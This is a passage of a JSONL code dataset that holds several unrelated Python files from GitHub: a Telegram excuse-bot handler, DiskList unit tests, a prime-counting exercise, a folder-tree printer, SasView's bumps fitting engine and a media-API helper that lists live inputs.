Are not you born in October?\", \"what!!! I was doing a favor to you by mistake, and was trying to teach you the art of forgiveness.\", \"I was kidnapped by the aliens and they wiped me from my memory one day ... So, I will remember tomorrow.\")\n    anniversaryExcuse = (\n        \"I thought our wedding anniversary was the day we met, on that day we did not make it official.\", \"I wanted to surprise you - would not you be surprised if I really remembered it, right? Understandable\", \"I.P.L. Tickets were sold, so I decided that we can celebrate next week.\", \"I remembered, but I forgot on the way I passed through the Saki Naka, remember?\")\n    excuseDict['missed office'] = officeExcuse\n    excuseDict['forgot birthday'] = birthdayExcuse\n    excuseDict['forgot anniversary'] = anniversaryExcuse\n\n\ndef webhook(event, context):\n    bot = configure_telegram()\n    logging.info('Event: {}'.format(event))\n    populate_excuse()\n    if event.get('httpMethod') == 'POST' and event.get('body'):\n        logging.info(\"Message successfully received\")\n        update = Update.de_json(json.loads(event.get('body')), bot)\n        chat_id = update.message.chat_id\n        text = update.message.text\n        if text == '/start':\n            text = \"\"\"Hello, human! I am an excuse bot, built with Python and the Serverless Framework. I help with excuses {}.\\n\\\nYou can take a look at my source code here: https://github.com/vaibhavsingh97/serverless-chatbot-demo.\\n\\\nFound a {}, please drop a tweet to my creator: https://twitter.com/vaibhavsingh97. Happy botting!\"\"\".format(emojize(\"! :laughing:\", use_aliases=True), emojize(\"! :bug:\", use_aliases=True))\n            bot.send_chat_action(chat_id=chat_id, action=\"TYPING\")\n            time.sleep(2)\n            bot.send_message(chat_id=chat_id, text=text)\n        elif \"missed\" in text and \"office\" in text:\n            headers = {\n                \"Accept\": \"application/json\",\n                \"User-Agent\": \"excuse bot (https://github.com/vaibhavsingh97/serverless-chatbot-demo)\"\n            }\n            arr = excuseDict['missed office']\n            text = arr[random.randint(0, len(arr))]\n            bot.send_chat_action(chat_id=chat_id, action=\"TYPING\")\n            time.sleep(2)\n            bot.send_message(chat_id=chat_id, text=text)\n        elif \"forgot\" in text and \"birthday\" in text:\n            headers = {\n                \"Accept\": \"application/json\",\n                \"User-Agent\": \"excuse bot (https://github.com/vaibhavsingh97/serverless-chatbot-demo)\"\n            }\n            arr = excuseDict['forgot birthday']\n            text = arr[random.randint(0, len(arr))]\n            bot.send_chat_action(chat_id=chat_id, action=\"TYPING\")\n            time.sleep(2)\n            bot.send_message(chat_id=chat_id, text=text)\n        elif \"forgot\" in text and \"anniversary\" in text:\n            headers = {\n                \"Accept\": \"application/json\",\n                \"User-Agent\": \"excuse bot (https://github.com/vaibhavsingh97/serverless-chatbot-demo)\"\n            }\n            arr = excuseDict['forgot anniversary']\n            text = arr[random.randint(0, len(arr))]\n            bot.send_chat_action(chat_id=chat_id, action=\"TYPING\")\n            time.sleep(2)\n            bot.send_message(chat_id=chat_id, text=text)\n        elif text == '/help':\n            text = \"\"\"\nHello! Excuse bot welcomes you on the telegram!\nHere's the commands:\n- /start - to get know more about Excuse Bot\n- /help - to view help text\nThis bot is being worked on, so it may break sometimes. Contact @vaibhavsingh97 on twitter \\\nor open issue [here](https://github.com/vaibhavsingh97/serverless-chatbot-demo).\n\"\"\"\n            bot.send_chat_action(chat_id=chat_id, action=\"TYPING\")\n            time.sleep(2)\n            bot.send_message(chat_id=chat_id, text=text, parse_mode=\"MARKDOWN\")\n        logging.info(\"Message successfully sent\")\n        # RESPONSE[\"OK\"][\"body\"] = json.dumps(\"Message Sent\")\n        return RESPONSE[\"OK\"]\n    return RESPONSE[\"ERROR\"]\n\n\ndef set_webhook(event, context):\n    logging.info('Event: {}'.format(event))\n    bot = configure_telegram()\n    url = 'https://{}/{}'.format(\n        event.get('headers').get('Host'),\n        event.get('requestContext').get('stage')\n    )\n    webhook = bot.set_webhook(url)\n\n    if webhook:\n        RESPONSE[\"OK\"][\"body\"] = json.dumps(\"Webhook URL successfully set.\")\n        return RESPONSE[\"OK\"]\n\n    return RESPONSE[\"ERROR\"]\n\n\ndef get_webhook_info(event, context):\n    logging.info('Event: {}'.format(event))\n    bot = configure_telegram()\n    webhook_info = bot.get_webhook_info()\n    logging.info('Event: {}'.format(webhook_info))\n    if webhook_info:\n        RESPONSE[\"OK\"][\"body\"] = str(webhook_info)\n        return RESPONSE[\"OK\"]\n    return RESPONSE[\"ERROR\"]\n","repo_name":"vaibhavsingh97/serverless-chatbot-demo","sub_path":"handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":6090,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"35423889388","text":"import unittest\n\nfrom disklist import DiskList\n\nclass TestDiskList(unittest.TestCase):\n    def test_add(self):\n        \"\"\"\n            Test the + operator\n        \"\"\"\n\n        dlist1 = DiskList()\n        dlist2 = DiskList()\n        dlist1.append('1')\n        dlist1.append('2')\n        dlist2.append('3')\n        dlist2.append('4')\n\n        dlist = dlist1 + dlist2\n\n        self.assertTrue(len(dlist) == 4)\n\n    def test_getitem(self):\n        \"\"\"\n            Test the [] operator for getting items\n        \"\"\"\n\n        dlist = DiskList()\n        dlist.append('0')\n        dlist.append('1')\n        dlist.append('2')\n        dlist.append('3')\n\n        self.assertTrue(dlist[0] == '0' and dlist[1] == '1' and dlist[2] == '2' and dlist[-1] == '3')\n\n    def test_setitem(self):\n        \"\"\"\n            Test the [] operator for setting items\n        \"\"\"\n\n        dlist = DiskList()\n        dlist.append('0')\n        dlist.append('1')\n        dlist.append('2')\n        dlist.append('3')\n\n        dlist[0] = '10'\n\n        self.assertTrue(dlist[0] == '10' and dlist[1] == '1' and dlist[2] == '2' and dlist[-1] == '3')\n\n    def test_delitem(self):\n        \"\"\"\n            Test the [] operator for deleting items\n        \"\"\"\n\n        dlist = DiskList()\n        dlist.append('0')\n        dlist.append('1')\n        dlist.append('2')\n        dlist.append('3')\n\n        del dlist[0]\n\n        self.assertTrue(dlist[0] == '1' and dlist[1] == '2' and dlist[-1] == '3')\n\n    def test_remove(self):\n        \"\"\"\n            Test the remove method\n        \"\"\"\n\n        dlist = DiskList()\n        dlist.append('0')\n        dlist.append('1')\n        dlist.append('2')\n        dlist.append('3')\n        dlist.append('0')\n\n        dlist.remove('0')\n\n        self.assertTrue(dlist[0] == '1' and dlist[1] == '2' and dlist[2] == '3' and dlist[3] == '0')\n\n    def test_pop_without_index(self):\n        \"\"\"\n            Test the pop method without index\n        \"\"\"\n\n        dlist = DiskList()\n        dlist.append('0')\n        dlist.append('1')\n        dlist.append('2')\n        dlist.append('3')\n\n        result = dlist.pop()\n\n        self.assertTrue(dlist[0] == '0' and dlist[1] == '1' and dlist[2] == '2' and result == '3' and len(dlist) == 3)\n\n    def test_pop_with_index(self):\n        \"\"\"\n            Test the pop method without index\n        \"\"\"\n\n        dlist = DiskList()\n        dlist.append('0')\n        dlist.append('1')\n        dlist.append('2')\n        dlist.append('3')\n\n        result = dlist.pop(2)\n\n        self.assertTrue(dlist[0] == '0' and dlist[1] == '1' and dlist[2] == '3' and result == '2' and len(dlist) == 3)\n\n    def test_index(self):\n        \"\"\"\n            Test the index method\n        \"\"\"\n\n        dlist = DiskList()\n        dlist.append('0')\n        dlist.append('1')\n        dlist.append('2')\n        dlist.append('3')\n\n        self.assertTrue(dlist.index('2') == 2)\n\n    def test_index_with_bounds(self):\n        \"\"\"\n            Test the index method with bounds\n        \"\"\"\n\n        dlist = DiskList()\n        dlist.append('0')\n        dlist.append('1')\n        dlist.append('2')\n        dlist.append('3')\n\n        self.assertRaises(ValueError, lambda: dlist.index('2', 0, 1))\n\n    def test_clear(self):\n        \"\"\"\n            Test the clear method\n        \"\"\"\n\n        dlist = DiskList()\n        dlist.append('0')\n        dlist.append('1')\n\n        dlist.clear()\n\n        self.assertTrue(len(dlist) == 0)\n\n    def test_len(self):\n        \"\"\"\n            Test the len() function\n        \"\"\"\n\n        dlist = DiskList()\n\n        self.assertTrue(len(dlist) == 0)\n\n    def test_append(self):\n        \"\"\"\n            Test appending new items\n        \"\"\"\n\n        dlist = DiskList()\n        dlist.append('0')\n        dlist.append('1')\n        dlist.append('2')\n        dlist.append('3')\n\n        self.assertTrue(len(dlist) == 4)\n\n    def test_extend(self):\n        \"\"\"\n            Test the extend method\n        \"\"\"\n\n        dlist = DiskList()\n        dlist.extend(['0', '1', '2', '3'])\n\n        self.assertTrue(len(dlist) == 4)\n\n    def test_insert(self):\n        \"\"\"\n            Test inserting new items\n        \"\"\"\n\n        dlist = DiskList()\n        dlist.append('0')\n        dlist.append('1')\n        dlist.append('2')\n        dlist.append('3')\n\n        dlist.insert(1, '10')\n\n        self.assertTrue(len(dlist) == 5 and dlist[1] == '10')\n\n    def test_iteration(self):\n        \"\"\"\n            Test iterating through the DiskList\n        \"\"\"\n\n        dlist = DiskList()\n        dlist.append('0')\n        dlist.append('1')\n        dlist.append('2')\n        dlist.append('3')\n\n        result_list = []\n\n        for item in dlist:\n            result_list.append(item)\n\n        self.assertTrue(\n            result_list[0] == '0' and\n            result_list[1] == '1' and\n            result_list[2] == '2' and\n            result_list[3] == '3'\n        )\n\n    def test_count(self):\n        \"\"\"\n            Test count method\n        \"\"\"\n\n        dlist = DiskList()\n        dlist.append('0')\n        dlist.append('1')\n        dlist.append('3')\n        dlist.append('3')\n\n        self.assertTrue(dlist.count('1') == 1 and dlist.count('3') == 2 and dlist.count('1337') == 0)\n\n    def test_clear_not_empty(self):\n        \"\"\"\n            Test clear method\n        \"\"\"\n\n        dlist = DiskList()\n        dlist.append('0')\n        dlist.append('1')\n        dlist.append('2')\n        dlist.append('3')\n\n        dlist.clear()\n\n        self.assertTrue(len(dlist) == 0)\n\n    def test_clear_empty(self):\n        \"\"\"\n            Test clear method when list is empty\n        \"\"\"\n\n        dlist = DiskList()\n\n        dlist.clear()\n\n        self.assertTrue(len(dlist) == 0)\n\n    def test_use_cache(self):\n        \"\"\"\n            Test using cache\n        \"\"\"\n\n        dlist = DiskList(cache_size=10)\n\n        l1 = []\n        l2 = []\n        l3 = []\n        l4 = []\n\n        for i in range(100):\n            dlist.append(i)\n            l1.append(i) \n\n        for i in dlist:\n            l2.append(i)\n\n        for i in dlist:\n            l3.append(i)\n\n        l4 = dlist[0:50]\n        for i in dlist[50:]:\n            l4.append(i)\n\n        self.assertTrue(all([i == j and j == k and k == l for i, j, k, l in zip(l1, l2, l3, l4)]))\n    \n    def test_use_cache_bigger_than_list(self):\n        \"\"\"\n            Test using cache\n        \"\"\"\n\n        dlist = DiskList(cache_size=1000)\n\n        l1 = []\n        l2 = []\n        l3 = []\n        l4 = []\n\n        for i in range(100):\n            dlist.append(i)\n            l1.append(i) \n\n        for i in dlist:\n            l2.append(i)\n\n        for i in dlist:\n            l3.append(i)\n\n        l4 = dlist[0:50]\n        for i in dlist[50:]:\n            l4.append(i)\n\n        self.assertTrue(all([i == j and j == k and k == l for i, j, k, l in zip(l1, l2, l3, l4)]))\n    \n    def test_use_cache_of_1(self):\n        \"\"\"\n            Test using cache\n        \"\"\"\n\n        dlist = DiskList(cache_size=1)\n\n        l1 = []\n        l2 = []\n        l3 = []\n        l4 = []\n\n        for i in range(100):\n            dlist.append(i)\n            l1.append(i) \n\n        for i in dlist:\n            l2.append(i)\n\n        for i in dlist:\n            l3.append(i)\n\n        l4 = dlist[0:50]\n        for i in dlist[50:]:\n            l4.append(i)\n\n        self.assertTrue(all([i == j and j == k and k == l for i, j, k, l in zip(l1, l2, l3, l4)]))\n\n    def test_use_cache_of_0(self):\n        \"\"\"\n            Test using cache\n        \"\"\"\n\n        dlist = DiskList(cache_size=0)\n\n        l1 = []\n        l2 = []\n        l3 = []\n        l4 = []\n\n        for i in range(100):\n            dlist.append(i)\n            l1.append(i) \n\n        for i in dlist:\n            l2.append(i)\n\n        for i in dlist:\n            l3.append(i)\n\n        l4 = dlist[0:50]\n        for i in dlist[50:]:\n            l4.append(i)\n\n        self.assertTrue(all([i == j and j == k and k == l for i, j, k, l in zip(l1, l2, l3, l4)]))\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"Belval/disklist","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":7959,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"21"}
+{"seq_id":"32876125831","text":"from itertools import permutations\n\ndef solution(numbers):\n    length = len(numbers)\n    N = 10**length\n\n    is_prime = [True] * N\n    is_prime[0] = False\n    is_prime[1] = False\n    for p in range(2, N):\n        if not is_prime[p]:\n            continue\n        for x in range(2*p, N, p):\n            is_prime[x] = False\n    \n    primes = set()\n\n    for perm in permutations(numbers+' '):\n        cut = perm.index(' ')\n        if cut == 0:\n            continue\n        num = int(''.join(perm[:cut]))\n        if is_prime[num]:\n            primes.add(num)\n    \n    return len(primes)\n\nprint(solution(\"4906078\"))","repo_name":"yeardream-high6/coding_test","sub_path":"곽치영/프로그래머스/05 완전탐색/02 소수 찾기/programmers42839.py","file_name":"programmers42839.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"69981726454","text":"import os\nfrom pathlib import Path\n\ndef create_folder_structure_md(path, indent=0):\n    markdown = \"\"\n    path = Path(path)\n    if path.is_file() and not path.name.startswith('.') and path.name != 'folderstructure.py':\n        markdown += \"    \" * indent + \"- \" + path.name + \"\\n\"\n    elif path.is_dir() and not path.name.startswith('.') and path.name != 'folderstructure.py':\n        markdown += \"    \" * indent + \"- \" + path.name + \"/\\n\"\n        for child in path.iterdir():\n            markdown += create_folder_structure_md(child, indent + 1)\n    return markdown\n\n# Replace 'your_directory_path' with the path of the directory you want to convert to markdown\nprint(create_folder_structure_md(os.getcwd()))\n","repo_name":"shankarpandala/lazygitgpt","sub_path":"folderstructure.py","file_name":"folderstructure.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"16658180478","text":"\"\"\"\nBumpsFitting module runs the bumps optimizer.\n\"\"\"\nimport logging\nimport os\nfrom datetime import timedelta, datetime\nimport traceback\nimport uncertainties\n\nimport numpy as np\n\nimport bumps\nfrom bumps import fitters\ntry:\n    from bumps.options import FIT_CONFIG\n    # Default bumps to use the Levenberg-Marquardt optimizer\n    FIT_CONFIG.selected_id = fitters.LevenbergMarquardtFit.id\n    def get_fitter():\n        return FIT_CONFIG.selected_fitter, FIT_CONFIG.selected_values\nexcept ImportError:\n    # CRUFT: Bumps changed its handling of fit options around 0.7.5.6\n    # Default bumps to use the Levenberg-Marquardt optimizer\n    fitters.FIT_DEFAULT = 'lm'\n    def get_fitter():\n        fitopts = fitters.FIT_OPTIONS[fitters.FIT_DEFAULT]\n        return fitopts.fitclass, fitopts.options.copy()\n\n\nfrom bumps.mapper import SerialMapper, MPMapper\nfrom bumps import parameter\nfrom bumps.fitproblem import FitProblem\n\n\nfrom sas.sascalc.fit.AbstractFitEngine import FitEngine\nfrom sas.sascalc.fit.AbstractFitEngine import FResult\nfrom sas.sascalc.fit.expression import compile_constraints\n\nclass Progress(object):\n    def __init__(self, history, max_step, pars, dof):\n        remaining_time = int(history.time[0]*(float(max_step)/history.step[0]-1))\n        # Depending on the time remaining, either display the expected\n        # time of completion, or the amount of time remaining.  Use precision\n        # appropriate for the duration.\n        if remaining_time >= 1800:\n            completion_time = datetime.now() + timedelta(seconds=remaining_time)\n            if remaining_time >= 36000:\n                time = completion_time.strftime('%Y-%m-%d %H:%M')\n            else:\n                time = completion_time.strftime('%H:%M')\n        else:\n            if remaining_time >= 3600:\n                time = '%dh %dm'%(remaining_time//3600, (remaining_time%3600)//60)\n            elif remaining_time >= 60:\n                time = '%dm %ds'%(remaining_time//60, remaining_time%60)\n            else:\n                time = '%ds'%remaining_time\n        chisq = \"%.3g\"%(2*history.value[0]/dof)\n        step = \"%d of %d\"%(history.step[0], max_step)\n        header = \"=== Steps: %s  chisq: %s  ETA: %s\\n\"%(step, chisq, time)\n        parameters = [\"%15s: %-10.3g%s\"%(k,v,(\"\\n\" if i%3==2 else \" | \"))\n                      for i, (k, v) in enumerate(zip(pars, history.point[0]))]\n        self.msg = \"\".join([header]+parameters)\n\n    def __str__(self):\n        return self.msg\n\n\nclass BumpsMonitor(object):\n    def __init__(self, handler, max_step, pars, dof):\n        self.handler = handler\n        self.max_step = max_step\n        self.pars = pars\n        self.dof = dof\n\n    def config_history(self, history):\n        history.requires(time=1, value=2, point=1, step=1)\n\n    def __call__(self, history):\n        if self.handler is None: return\n        self.handler.set_result(Progress(history, self.max_step, self.pars, self.dof))\n        self.handler.progress(history.step[0], self.max_step)\n        if len(history.step) > 1 and history.step[1] > history.step[0]:\n            self.handler.improvement()\n        self.handler.update_fit()\n\nclass ConvergenceMonitor(object):\n    \"\"\"\n    ConvergenceMonitor contains population summary statistics to show progress\n    of the fit.  This is a list [ (best, 0%, 25%, 50%, 75%, 100%) ] or\n    just a list [ (best, ) ] if population size is 1.\n    \"\"\"\n    def __init__(self):\n        self.convergence = []\n\n    def config_history(self, history):\n        history.requires(value=1, population_values=1)\n\n    def __call__(self, history):\n        best = history.value[0]\n        try:\n            p = history.population_values[0]\n            n, p = len(p), np.sort(p)\n            QI, Qmid = int(0.2*n), int(0.5*n)\n            self.convergence.append((best, p[0], p[QI], p[Qmid], p[-1-QI], p[-1]))\n        except Exception:\n            self.convergence.append((best, best, best, best, best, best))\n\n\n# Note: currently using bumps parameters for each parameter object so that\n# a SasFitness can be used directly in bumps with the usual semantics.\n# The disadvantage of this technique is that we need to copy every parameter\n# back into the model each time the function is evaluated.  We could instead\n# define reference parameters for each sas parameter, but then we would not\n# be able to express constraints using python expressions in the usual way\n# from bumps, and would instead need to use string expressions.\nclass SasFitness(object):\n    \"\"\"\n    Wrap SAS model as a bumps fitness object\n    \"\"\"\n    def __init__(self, model, data, fitted=[], constraints={},\n                 initial_values=None, **kw):\n        self.name = model.name\n        self.model = model.model\n        self.data = data\n        if self.data.smearer is not None:\n            self.data.smearer.model = self.model\n        self._define_pars()\n        self._init_pars(kw)\n        if initial_values is not None:\n            self._reset_pars(fitted, initial_values)\n        self.constraints = dict(constraints)\n        self.set_fitted(fitted)\n        self.update()\n\n    def _reset_pars(self, names, values):\n        for k, v in zip(names, values):\n            self._pars[k].value = v\n\n    def _define_pars(self):\n        self._pars = {}\n        for k in self.model.getParamList():\n            name = \".\".join((self.name, k))\n            value = self.model.getParam(k)\n            bounds = self.model.details.get(k, [\"\", None, None])[1:3]\n            self._pars[k] = parameter.Parameter(value=value, bounds=bounds,\n                                                fixed=True, name=name)\n        #print parameter.summarize(self._pars.values())\n\n    def _init_pars(self, kw):\n        for k, v in kw.items():\n            # dispersion parameters initialized with _field instead of .field\n            if k.endswith('_width'):\n                k = k[:-6]+'.width'\n            elif k.endswith('_npts'):\n                k = k[:-5]+'.npts'\n            elif k.endswith('_nsigmas'):\n                k = k[:-7]+'.nsigmas'\n            elif k.endswith('_type'):\n                k = k[:-5]+'.type'\n            if k not in self._pars:\n                formatted_pars = \", \".join(sorted(self._pars.keys()))\n                raise KeyError(\"invalid parameter %r for %s--use one of: %s\"\n                               %(k, self.model, formatted_pars))\n            if '.' in k and not k.endswith('.width'):\n                self.model.setParam(k, v)\n            elif isinstance(v, parameter.BaseParameter):\n                self._pars[k] = v\n            elif isinstance(v, (tuple, list)):\n                low, high = v\n                self._pars[k].value = (low+high)/2\n                self._pars[k].range(low, high)\n            else:\n                self._pars[k].value = v\n\n    def set_fitted(self, param_list):\n        \"\"\"\n        Flag a set of parameters as fitted parameters.\n        \"\"\"\n        for k, p in self._pars.items():\n            p.fixed = (k not in param_list or k in self.constraints)\n        self.fitted_par_names = [k for k in param_list if k not in self.constraints]\n        self.computed_par_names = [k for k in param_list if k in self.constraints]\n        self.fitted_pars = [self._pars[k] for k in self.fitted_par_names]\n        self.computed_pars = [self._pars[k] for k in self.computed_par_names]\n\n    # ===== Fitness interface ====\n    def parameters(self):\n        return self._pars\n\n    def update(self):\n        for k, v in self._pars.items():\n            #print \"updating\",k,v,v.value\n            self.model.setParam(k, v.value)\n        self._dirty = True\n\n    def _recalculate(self):\n        if self._dirty:\n            self._residuals, self._theory \\\n                = self.data.residuals(self.model.evalDistribution)\n            self._dirty = False\n\n    def numpoints(self):\n        return np.sum(self.data.idx) # number of fitted points\n\n    def nllf(self):\n        return 0.5*np.sum(self.residuals()**2)\n\n    def theory(self):\n        self._recalculate()\n        return self._theory\n\n    def residuals(self):\n        self._recalculate()\n        return self._residuals\n\n    # Not implementing the data methods for now:\n    #\n    #     resynth_data/restore_data/save/plot\n\nclass ParameterExpressions(object):\n    def __init__(self, models):\n        self.models = models\n        self._setup()\n\n    def _setup(self):\n        exprs = {}\n        for M in self.models:\n            exprs.update((\".\".join((M.name, k)), v) for k, v in M.constraints.items())\n        if exprs:\n            symtab = dict((\".\".join((M.name, k)), p)\n                          for M in self.models\n                          for k, p in M.parameters().items())\n            self.update = compile_constraints(symtab, exprs)\n        else:\n            self.update = lambda: 0\n\n    def __call__(self):\n        self.update()\n\n    def __getstate__(self):\n        return self.models\n\n    def __setstate__(self, state):\n        self.models = state\n        self._setup()\n\nclass BumpsFit(FitEngine):\n    \"\"\"\n    Fit a model using bumps.\n    \"\"\"\n    def __init__(self):\n        \"\"\"\n        Creates a dictionary (self.fit_arrange_dict={})of FitArrange elements\n        with Uid as keys\n        \"\"\"\n        FitEngine.__init__(self)\n        self.curr_thread = None\n\n    def fit(self, msg_q=None,\n            q=None, handler=None, curr_thread=None,\n            ftol=1.49012e-8, reset_flag=False):\n        # Build collection of bumps fitness calculators\n        models = []\n        weights = []\n        for tab_id, dataset in self.fit_arrange_dict.items():\n            if dataset.get_to_fit():\n                models.append(SasFitness(model=dataset.get_model(), data=dataset.get_data(), constraints=dataset.constraints,\n                                         fitted=dataset.pars, initial_values=dataset.vals if reset_flag else None))\n                weights.append(self.get_weight_increase(tab_id))\n        if len(models) == 0:\n            raise RuntimeError(\"Nothing to fit\")\n        problem = FitProblem(models, weights=weights)\n\n        # TODO: need better handling of parameter expressions and bounds constraints\n        # so that they are applied during polydispersity calculations.  This\n        # will remove the immediate need for the setp_hook in bumps, though\n        # bumps may still need something similar, such as a sane class structure\n        # which allows a subclass to override setp.\n        problem.setp_hook = ParameterExpressions(models)\n\n        # Run the fit\n        result = run_bumps(problem, handler, curr_thread)\n        if handler is not None:\n            handler.update_fit(last=True)\n\n        # TODO: shouldn't reference internal parameters of fit problem\n        varying = problem._parameters\n\n        values, errs, cov = result['value'], result['stderr'], result[\n            'covariance']\n        assert values is not None and errs is not None\n\n        # Propagate uncertainty through the parameter expressions\n        # We are going to abuse bumps a little here and stuff uncertainty\n        # objects into the parameter values, then update all the\n        # derived parameters with uncertainty propagation. We need to\n        # avoid triggering a model recalc since the uncertainty objects\n        # will not be working with sasmodels\n\n        if len(varying) < 2:\n            # Use the standard error as the error in the parameter\n            for param, val, err in zip(varying, values, errs):\n                # Convert all varying parameters to uncertainties objects\n                param.value = uncertainties.ufloat(val, err)\n        else:\n            try:\n                uncertainties.correlated_values(values, cov)\n            except:\n                # No convergance \n                for param, val, err in zip(varying, values, errs):\n                    # Convert all varying parameters to uncertainties objects\n                    param.value = uncertainties.ufloat(val, err)\n            else:\n                # Use the covariance matrix to calculate error in the parameter\n                fitted = uncertainties.correlated_values(values, cov)\n                for param, val in zip(varying, fitted):\n                    param.value = val\n\n        # Propagate correlated uncertainty through constraints.\n        problem.setp_hook()\n\n        # collect the results\n        all_results = []\n\n        for fitting_module in problem.models:\n            fitness = fitting_module.fitness\n            pars = fitness.fitted_pars + fitness.computed_pars\n            par_names = fitness.fitted_par_names + fitness.computed_par_names\n\n            fitting_result = FResult(model=fitness.model, data=fitness.data, param_list=par_names)\n            fitting_result.theory = fitness.theory()\n            fitting_result.residuals = fitness.residuals()\n            fitting_result.index = fitness.data.idx\n            fitting_result.fitter_id = self.fitter_id\n            # TODO: should scale stderr by sqrt(chisq/DOF) if dy is unknown\n            fitting_result.success = result['success']\n            fitting_result.convergence = result['convergence']\n            if result['uncertainty'] is not None:\n                fitting_result.uncertainty_state = result['uncertainty']\n\n            if fitting_result.success:\n                pvec = list()\n                stderr = list()\n                for p in pars:\n                    # If p is already defined as an uncertainties object it is not constrained based on another\n                    # parameter\n                    if isinstance(p.value, uncertainties.core.Variable) or \\\n                            isinstance(p.value, uncertainties.core.AffineScalarFunc):\n                        # value.n returns value p\n                        pvec.append(p.value.n)\n                        # value.n returns error in p\n                        stderr.append(p.value.s)\n                    # p constrained based on another parameter\n                    else:\n                        # Details of p\n                        param_model, param_name = p.name.split(\".\")[0], p.name.split(\".\")[1]\n                        # Constraints applied on p, list comprehension most efficient method, will always return a\n                        # list with 1 entry\n                        constraints = [model.constraints for model in models if model.name == param_model][0]\n                        # Parameters p is constrained on.\n                        reference_params = [v for v in varying if str(v.name) in str(constraints[param_name])]\n                        err_exp = str(constraints[param_name])\n                        # Convert string entries into variable names within the code.\n                        for i, index in enumerate(reference_params):\n                            err_exp = err_exp.replace(reference_params[index].name, f\"reference_params[{index}].value\")\n                        try:\n                            # Evaluate a string containing constraints as if it where a line of code\n                            pvec.append(eval(err_exp).n)\n                            stderr.append(eval(err_exp).s)\n                        except NameError as e:\n                            pvec.append(p.value)\n                            stderr.append(0)\n                            # Get model causing error\n                            name_error = e.args[0].split()[1].strip(\"'\")\n                            # Safety net if following code does not work\n                            error_param = name_error\n                            # Get parameter causing error\n                            constraints_sections = constraints[param_name].split(\".\")\n                            for i in range(len(constraints_sections)):\n                                if name_error in constraints_sections[i]:\n                                    error_param = f\"{name_error}.{constraints_sections[i+1]}\"\n                            logging.error(f\"Constraints ordered incorrectly. Attempting to constrain {p}, based on \"\n                                          f\"{error_param}, however {error_param} is not defined itself. This is \"\n                                          f\"because {error_param} is also constrained.\\n\"\n                                          f\"The fitting will continue, but {name_error} will be incorrect.\")\n                            logging.error(e)\n                        except Exception as e:\n                            logging.error(e)\n                            pvec.append(p.value)\n                            stderr.append(0)\n\n                fitting_result.pvec = (np.array(pvec))\n                fitting_result.stderr = (np.array(stderr))\n                DOF = max(1, fitness.numpoints() - len(fitness.fitted_pars))\n                fitting_result.fitness = np.sum(fitting_result.residuals ** 2) / DOF\n            else:\n                fitting_result.pvec = np.asarray([p.value for p in pars])\n                fitting_result.stderr = np.NaN * np.ones(len(pars))\n                fitting_result.fitness = np.NaN\n\n            all_results.append(fitting_result)\n        all_results[0].mesg = result['errors']\n\n        if q is not None:\n            q.put(all_results)\n            return q\n        else:\n            return all_results\n\ndef run_bumps(problem, handler, curr_thread):\n    def abort_test():\n        if curr_thread is None: return False\n        try: curr_thread.isquit()\n        except KeyboardInterrupt:\n            if handler is not None:\n                handler.stop(\"Fitting: Terminated!!!\")\n            return True\n        return False\n\n    fitclass, options = get_fitter()\n    steps = options.get('steps', 0)\n    if steps == 0:\n        pop = options.get('pop', 0)*len(problem._parameters)\n        samples = options.get('samples', 0)\n        steps = (samples+pop-1)/pop if pop != 0 else samples\n    max_step = steps + options.get('burn', 0)\n    pars = [p.name for p in problem._parameters]\n    #x0 = np.asarray([p.value for p in problem._parameters])\n    options['monitors'] = [\n        BumpsMonitor(handler, max_step, pars, problem.dof),\n        ConvergenceMonitor(),\n        ]\n    fitdriver = fitters.FitDriver(fitclass, problem=problem,\n                                  abort_test=abort_test, **options)\n    omp_threads = int(os.environ.get('OMP_NUM_THREADS', '0'))\n    mapper = MPMapper if omp_threads == 1 else SerialMapper\n    fitdriver.mapper = mapper.start_mapper(problem, None)\n    #import time; T0 = time.time()\n    try:\n        best, fbest = fitdriver.fit()\n        errors = []\n    except Exception as exc:\n        best, fbest = None, np.NaN\n        errors = [str(exc), traceback.format_exc()]\n    finally:\n        mapper.stop_mapper(fitdriver.mapper)\n\n\n    convergence_list = options['monitors'][-1].convergence\n    convergence = (2*np.asarray(convergence_list)/problem.dof\n                   if convergence_list else np.empty((0, 1), 'd'))\n\n    success = best is not None\n    try:\n        stderr = fitdriver.stderr() if success else None\n        cov = (fitdriver.cov() if not hasattr(fitdriver.fitter, 'state') else\n               np.cov(fitdriver.fitter.state.draw().points.T))\n    except Exception as exc:\n        errors.append(str(exc))\n        errors.append(traceback.format_exc())\n        stderr = None\n        cov = None\n    return {\n        'value': best if success else None,\n        'stderr': stderr,\n        'success': success,\n        'convergence': convergence,\n        'uncertainty': getattr(fitdriver.fitter, 'state', None),\n        'errors': '\\n'.join(errors),\n        'covariance': cov,\n        }\n","repo_name":"georgeyumnam/sasview","sub_path":"src/sas/sascalc/fit/BumpsFitting.py","file_name":"BumpsFitting.py","file_ext":"py","file_size_in_byte":19497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"}
+{"seq_id":"6157751941","text":"from constants.project_constants import *\nfrom exceptions.api_exception_handler import *\n\nimport requests, json\n\ndef get_input_names(AUTH_TOKEN):\n    HEADERS = {\n        \"Authorization\": \"Bearer \" +  AUTH_TOKEN,\n        \"Content-Type\": \"application/json\"\n    }\n\n    try:\n        RESPONSE = requests.get(f\"{ADMIN_URL}/liveInput/\", headers= HEADERS)\n\n        # If not found return None\n        if (not RESPONSE.ok):\n            raise Exception()\n        \n        INFO = json.loads(RESPONSE.text)\n\n        INPUT_NAMES = []\n        for INPUT in INFO:\n            INPUT_NAMES.append(INPUT[\"name\"])\n                                 \n        return INPUT_NAMES\n    \n    except:\n        api_exception_handler(RESPONSE, \"Search found no inputs\")","repo_name":"Nomad-Media/samples","sub_path":"nomad-samples/admin/py/basic-live-channel-1.1/input_names/get_input_names.py","file_name":"get_input_names.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
